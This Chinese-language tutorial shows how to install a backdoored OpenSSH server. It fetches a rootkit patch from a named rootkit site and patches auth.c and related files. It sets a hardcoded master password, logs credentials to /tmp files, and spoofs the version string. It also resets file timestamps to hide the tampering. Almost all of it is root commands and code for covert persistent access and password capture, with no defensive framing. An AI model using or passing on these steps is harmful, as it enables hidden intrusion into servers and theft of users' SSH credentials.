Linux 安全之SSH后门

一.查看SSH版本

[root@redkey vmshare]# ssh -V
OpenSSH_5.3p1, OpenSSL 1.0.0-fips 29 Mar 2010

二.下载SSH 源码包

源码包:

http://openbsd.org.ar/pub/OpenBSD/OpenSSH/portable/openssh-5.9p1.tar.gz

后门文件:

http://core.ipsecs.com/rootkit/patch-to-hack/0x06-openssh-5.9p1.patch.tar.gz

三.备份原有ssh配置文件

[root@redkey ~]# cp -p /etc/ssh/sshd_config{,.bak}

四.编译安装

[root@redkey vmshare]# tar -xzvf openssh-5.9p1.tar.gz
[root@redkey vmshare]# tar -xzvf 0x06-openssh-5.9p1.patch.tar.gz
[root@redkey vmshare]# cd openssh-5.9p1.patch/
[root@redkey openssh-5.9p1.patch]# cp sshbd5.9p1.diff ../openssh-5.9p1
[root@redkey openssh-5.9p1.patch]# cd ../openssh-5.9p1
[root@redkey openssh-5.9p1]# patch < sshbd5.9p1.diff
patching file auth.c
patching file auth-pam.c
patching file auth-passwd.c
patching file canohost.c
patching file includes.h
patching file log.c
patching file servconf.c
patching file sshconnect2.c
patching file sshlogin.c
patching file version.hxiu

设置后门密码"redkey"

[root@redkey openssh-5.9p1]# vim includes.h
175 int secret_ok;
176 FILE *f;
177 #define ILOG "/tmp/ilog"
178 #define OLOG "/tmp/olog"
179 #define SECRETPW "redkey"
180 #endif /* INCLUDES_H */

修改版本信息(SSH_VERSION):

/* $OpenBSD: version.h,v 1.62 2011/08/02 23:13:01 djm Exp $ */
#define SSH_VERSION     "OpenSSH_5.3p1"
#define SSH_PORTABLE    "p1"
#define SSH_RELEASE     SSH_VERSION SSH_PORTABLE

编译&安装

[root@redkey openssh-5.9p1]# ./configure --prefix=/usr/ --sysconfdir=/etc/ssh/ --with-pam --with-kerberos5
[root@redkey openssh-5.9p1]# make


[root@redkey openssh-5.9p1]# make install

五.还原sshd_config文件时间戳

[root@redkey ssh]# touch -r sshd_config.bak ssh_config

六.重启服务或重新载入配置

[root@redkey ssh]# service sshd reload

七.常见问题

  1.需要安装的软件包

openssl openssl-devel pam-devel

  2.编译常见的问题

编译过程中可能出现的报错: 
  configure: error: *** zlib.h missing �C please install first or check config.log
  #
  #yum install zlib-devel
  configure: error: *** Can't find recent OpenSSL libcrypto (see config.log for details) ***
  #
  #yum install openssl openssl-devel


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